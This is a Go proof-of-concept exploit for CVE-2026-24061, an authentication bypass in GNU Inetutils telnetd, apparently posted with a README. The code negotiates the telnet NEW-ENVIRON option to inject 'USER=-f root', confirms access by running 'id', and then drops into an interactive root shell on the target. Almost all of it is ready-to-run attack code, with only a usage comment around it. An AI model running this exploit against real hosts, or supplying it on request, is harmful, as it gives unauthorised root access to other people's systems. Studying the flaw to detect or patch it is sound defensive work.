README.md
Rendering markdown...
// CVE-2026-24061 - GNU Inetutils telnetd Authentication Bypass
// Telnet in 2026? I wasn't even born in '95 when SSH came out lol
// Usage: go run poc.go <host> <port>
package main
import (
"bufio"
"bytes"
"fmt"
"net"
"os"
"strings"
"time"
)
const (
Red, Green, Blue, Cyan, Reset = "\033[91m", "\033[92m", "\033[94m", "\033[96m", "\033[0m"
)
const (
IAC, DONT, DO, WONT, WILL, SB, SE byte = 255, 254, 253, 252, 251, 250, 240
OptEcho, OptSGA, OptEnv, OptNewEnv = 1, 3, 36, 39
EnvIS, EnvSEND, EnvVAR, EnvVALUE = 0, 1, 0, 1
)
func main() {
fmt.Printf("\n%s CVE-2026-24061%s - GNU Inetutils telnetd Auth Bypass\n\n", Red, Reset)
if len(os.Args) < 3 {
fmt.Printf("Usage: %s <host> <port>\n", os.Args[0])
os.Exit(1)
}
if !exploit(os.Args[1], os.Args[2]) {
os.Exit(1)
}
}
func exploit(host, port string) bool {
addr := net.JoinHostPort(host, port)
fmt.Printf("%s[*]%s Target: %s%s%s\n", Blue, Reset, Cyan, addr, Reset)
conn, err := net.DialTimeout("tcp", addr, 10*time.Second)
if err != nil {
fmt.Printf("%s[-]%s Connection failed: %v\n", Red, Reset, err)
return false
}
defer conn.Close()
conn.SetDeadline(time.Now().Add(20 * time.Second))
fmt.Printf("%s[+]%s Connected\n", Green, Reset)
n := &negot{conn: conn, user: "-f root", sent: map[int]bool{}}
n.write(IAC, WILL, OptNewEnv)
n.write(IAC, WILL, OptEnv)
text := n.readFor(3 * time.Second)
if !n.sent[OptNewEnv] {
n.sendEnv(OptNewEnv)
}
text += n.readFor(2 * time.Second)
conn.Write([]byte("\r\n"))
text += n.readFor(2 * time.Second)
if hasLogin(text) {
fmt.Printf("%s[-]%s Login prompt - not vulnerable\n", Red, Reset)
return false
}
if !n.echoOK {
fmt.Printf("%s[-]%s No WILL ECHO - not vulnerable\n", Red, Reset)
return false
}
conn.Write([]byte("id\r\n"))
idOut := n.readFor(3 * time.Second)
if hasLogin(idOut) || !strings.Contains(strings.ToLower(idOut), "uid=") {
fmt.Printf("%s[-]%s Shell check failed\n", Red, Reset)
return false
}
fmt.Printf("\n%s[+] VULNERABLE%s\n\n", Green, Reset)
fmt.Print(text, idOut)
shell(conn, n)
return true
}
func shell(conn net.Conn, n *negot) {
conn.SetDeadline(time.Time{}) // Remove global deadline for interactive mode
done := make(chan bool, 1)
go readLoop(conn, n, done)
sc := bufio.NewScanner(os.Stdin)
for sc.Scan() {
cmd := sc.Text()
if cmd == "exit" || cmd == "quit" {
conn.Write([]byte("exit\r\n"))
break
}
conn.Write([]byte(cmd + "\r\n"))
}
done <- true
fmt.Printf("\n%s[*]%s Bye\n", Blue, Reset)
}
func readLoop(conn net.Conn, n *negot, done chan bool) {
buf := make([]byte, 4096)
for {
select {
case <-done:
return
default:
conn.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
cnt, err := conn.Read(buf)
if cnt > 0 {
fmt.Print(norm(string(n.parse(buf[:cnt]))))
}
if err != nil && !isTimeout(err) {
return
}
}
}
}
type negot struct {
conn net.Conn
user string
buf []byte
sent map[int]bool
echoOK bool
}
func (n *negot) write(b ...byte) {
n.conn.Write(b)
}
func (n *negot) sendEnv(opt int) {
if n.sent[opt] {
return
}
p := []byte{IAC, SB, byte(opt), EnvIS, EnvVAR}
p = append(p, "USER"...)
p = append(p, EnvVALUE)
p = append(p, n.user...)
p = append(p, IAC, SE)
n.conn.Write(p)
n.sent[opt] = true
fmt.Printf("%s[*]%s Injected USER=%s\n", Blue, Reset, n.user)
}
func (n *negot) readFor(d time.Duration) string {
n.conn.SetReadDeadline(time.Now().Add(d))
var out []byte
buf := make([]byte, 4096)
for {
cnt, err := n.conn.Read(buf)
if cnt > 0 {
out = append(out, n.parse(buf[:cnt])...)
}
if err != nil {
break
}
}
return norm(string(out))
}
func (n *negot) parse(data []byte) []byte {
n.buf = append(n.buf, data...)
var out []byte
i := 0
for i < len(n.buf) {
if n.buf[i] != IAC {
out = append(out, n.buf[i])
i++
continue
}
if i+1 >= len(n.buf) {
break
}
cmd := n.buf[i+1]
if cmd == IAC {
out = append(out, IAC)
i += 2
continue
}
if cmd == DO || cmd == DONT || cmd == WILL || cmd == WONT {
if i+2 >= len(n.buf) {
break
}
n.handleCmd(cmd, n.buf[i+2])
i += 3
continue
}
if cmd == SB {
end := bytes.Index(n.buf[i:], []byte{IAC, SE})
if end < 0 {
break
}
if i+2 < len(n.buf) {
n.handleSub(int(n.buf[i+2]), n.buf[i+3:i+end])
}
i += end + 2
continue
}
i += 2
}
n.buf = n.buf[i:]
return out
}
func (n *negot) handleCmd(cmd, opt byte) {
if cmd == DO && (opt == OptEnv || opt == OptNewEnv || opt == OptSGA) {
n.write(IAC, WILL, opt)
if opt == OptEnv {
n.sendEnv(int(opt))
}
return
}
if cmd == DO {
n.write(IAC, WONT, opt)
return
}
if cmd == WILL && opt == OptEcho {
n.echoOK = true
}
if cmd == WILL && (opt == OptEcho || opt == OptSGA) {
n.write(IAC, DO, opt)
return
}
if cmd == WILL {
n.write(IAC, DONT, opt)
}
}
func (n *negot) handleSub(opt int, data []byte) {
if (opt != OptEnv && opt != OptNewEnv) || len(data) == 0 || data[0] != EnvSEND {
return
}
n.sendEnv(opt)
}
func hasLogin(s string) bool {
for _, line := range strings.Split(strings.ToLower(s), "\n") {
t := strings.TrimSpace(line)
if strings.HasPrefix(t, "last login") {
continue
}
if strings.HasSuffix(t, "login:") || strings.HasSuffix(t, "password:") {
return true
}
}
return false
}
func norm(s string) string {
return strings.ReplaceAll(strings.ReplaceAll(s, "\r\n", "\n"), "\r", "\n")
}
func isTimeout(err error) bool {
e, ok := err.(net.Error)
return ok && e.Timeout()
}